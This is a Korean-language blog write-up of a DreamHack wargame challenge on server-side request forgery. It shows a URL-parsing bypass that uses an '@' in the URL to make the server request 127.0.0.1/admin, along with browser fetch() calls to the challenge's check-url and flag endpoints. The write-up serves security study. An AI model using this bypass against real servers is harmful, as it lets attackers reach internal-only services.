개발 블로그

[DreamHack] Broken Is SSRF possible? 본문

Study/Web Hacking

[DreamHack] Broken Is SSRF possible?

얀 짱 2026. 9. 22. 21:35

https://dreamhack.io/wargame/challenges/1412

 

로그인 | Dreamhack

 

dreamhack.io

 

 

히히 첨에 일케 플래그 있길래 설마 하면서 넣어봤는데 역시 실패.

 

그리고 나서는 코드를 읽어봤는데 코드에서 친절한 것 같으면서도 불친절한 느낌을 받았다. (?)

무튼간에

 

`ssrf 취약점 @로 풀기` 라고 구글링했는데 

@를 사용하여 우회하는 것을 URL 파싱의 허점을 이용한 대표적인 HTTP 기본 인증(Basic Authentication) 우회 기법이라고 한다네.

 

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery#bypass-abusing-url-parsing-discrepancy

 

PayloadsAllTheThings/Server Side Request Forgery at master · swisskyrepo/PayloadsAllTheThings

A list of useful payloads and bypass for Web Application Security and Pentest/CTF - swisskyrepo/PayloadsAllTheThings

github.com

 

어어 엽이오빠 감사하다고 내가 얘기를 했었나?

 

@로 검사해봤드니 여기도 있드라고~

 

코드에서

 

이게 있으니까

위에 준엽이오빠가 준 페이로드를 봤을 때

https://blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

 

요기도 보면 자세하게 나와있음.

무튼 간에 간추려 얘기를 해보자면 ~#@ 했을 때 @ 뒤에꺼만 인식한다~ 이말인듯?

 

그래서 

[내꺼 서버IP]:@127.0.0.1/admin?nickname=2anizirong

 

이런 식으로 하면 될 거 같음 -> 이러면 이제 @뒤부터 인식함.

 

온리 로컬이니까는 127.0.0.1로 들어가야 함.

 

 

 

아 넵^^ 수정할게요

http://www.google.com:@127.0.0.1/admin?nickname=2anizirong

 

app.py 실행시켜서 위의 url를 시도해봄.

 

/check-url은 post 메서드로 보내야 하고 body에다가 위에 찾은 걸(http://www.google.com:@127.0.0.1/admin?nickname=2anizirong) 넣어서 하면 됨. 단순 get 요청이 아니라 번거로운 것 같음.

 

이 뒤에다가 curl로 보내서 하려고 했는데
제가 개인적으로 옵션들을 잘 몰라서 그냥 콘솔에다가 하는 방법을 선택하였음.

fetch('http://host3.dreamhack.games:11978/check-url', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ url: 'http://www.google.com:@127.0.0.1/admin?nickname=2anizirong' })
})
.then(r => r.text())
.then(console.log);
fetch('http://host3.dreamhack.games:11978/flag?nickname=2anizirong', { method: 'POST' })
.then(r => r.text())
.then(console.log);

 

플래그를 얻음.

 

'Study > Web Hacking' 카테고리의 다른 글

[DreamHack] 🍊  (0) 2026.09.23
[DreamHack] Test Your Luck  (0) 2026.09.23
[DreamHack] ejs@3.1.8  (0) 2026.09.22
[DreamHack] login-1  (0) 2026.09.21
[DreamHack] sql injection bypass WAF Advanced  (0) 2026.09.21